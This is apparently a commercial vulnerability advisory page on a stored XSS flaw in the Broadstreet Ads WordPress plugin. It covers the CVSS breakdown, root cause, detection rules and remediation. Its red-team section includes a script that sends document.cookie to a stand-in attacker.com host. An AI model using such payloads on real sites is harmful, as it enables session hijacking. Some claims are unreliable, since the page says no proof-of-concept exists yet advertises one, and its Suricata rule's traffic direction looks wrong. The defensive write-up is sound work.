CVE-2025-32211
Executive Summary
CVE-2025-32211 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Broadstreet Ads WordPress plugin, versions up to and including 1.52.1. This vulnerability allows an authenticated attacker with high privileges (e.g., Administrator) to inject malicious scripts into web pages generated by the plugin. When other users (including lower-privileged users or visitors) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is released. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – An attacker must have administrative-level access to the WordPress site.
- User Interaction (UI): Required (R) – A victim must visit the compromised page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the likelihood of widespread exploitation. However, if an attacker compromises an admin account, the impact can be significant.
Deep Dive & Mechanics
The vulnerability exists in the Broadstreet Ads plugin's handling of user input when generating ad-related content. The plugin fails to properly sanitize or escape input before embedding it into HTML output. An attacker with administrative access can inject arbitrary JavaScript code into fields such as ad names, descriptions, or custom parameters. This injected code is then stored in the WordPress database and rendered on subsequent page loads without proper encoding.
Root Cause: The plugin uses functions like echo or print to output user-supplied data without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses()). This allows HTML and JavaScript to be injected.
Attack Flow:
- Attacker gains admin access to the WordPress site (e.g., via credential theft or social engineering).
- Attacker navigates to the Broadstreet Ads settings or ad creation page.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into an input field. - The payload is stored in the database.
- When any user (including non-admin visitors) views a page that displays the ad, the script executes in their browser.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (Example):
// In a Broadstreet Ads plugin file (e.g., admin/views/ad-settings.php)
echo "<div class='ad-name'>" . $ad_name . "</div>";
Patched Code (Hypothetical):
// Properly escape output
echo "<div class='ad-name'>" . esc_html( $ad_name ) . "</div>";
The patched version uses esc_html() to convert special characters (e.g., <, >, &) into their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Broadstreet Ads plugin version <= 1.52.1.
- Administrative credentials to the WordPress dashboard.
Steps:
- Log in to WordPress as an administrator.
- Navigate to Broadstreet Ads > Add New Ad (or edit an existing ad).
- In the Ad Name field, enter the following payload:
<script>alert('XSS')</script> - Save the ad.
- Visit any page where the ad is displayed (e.g., a post or widget area). The JavaScript alert will execute.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection:
- Monitor WordPress admin logs for unusual changes to ad settings.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Prevention:
- Disable the Broadstreet Ads plugin until a patch is available.
- Restrict administrative access to trusted users only.
- Regularly audit plugin code for security vulnerabilities.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (None available – no malicious files identified)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal). - Unusual JavaScript in HTTP responses from WordPress pages.
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress admin logs showing modifications to Broadstreet Ads settings.
- Web server logs containing
<script>tags in POST requests to/wp-admin/admin.php?page=broadstreet-ads.
Detection Engineering
YARA Rule
rule Detect_Broadstreet_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Broadstreet Ads plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32211"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$broadstreet_context = "broadstreet-ads"
condition:
$broadstreet_context and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Broadstreet Ads Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in Broadstreet Ads plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin.php?page=broadstreet-ads'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in ad content (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32211 Broadstreet Ads Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=broadstreet-ads"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and remove any suspicious ad entries from the database.
- Change all administrative passwords to prevent further compromise.
Long-term Fix:
- Apply the official patch once released by the vendor.
- Implement input validation and output escaping in custom code.
- Use WordPress security plugins (e.g., Wordfence) to add an extra layer of defense.
Workaround:
- If the plugin must remain active, restrict access to the admin panel via IP whitelisting or .htaccess authentication.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.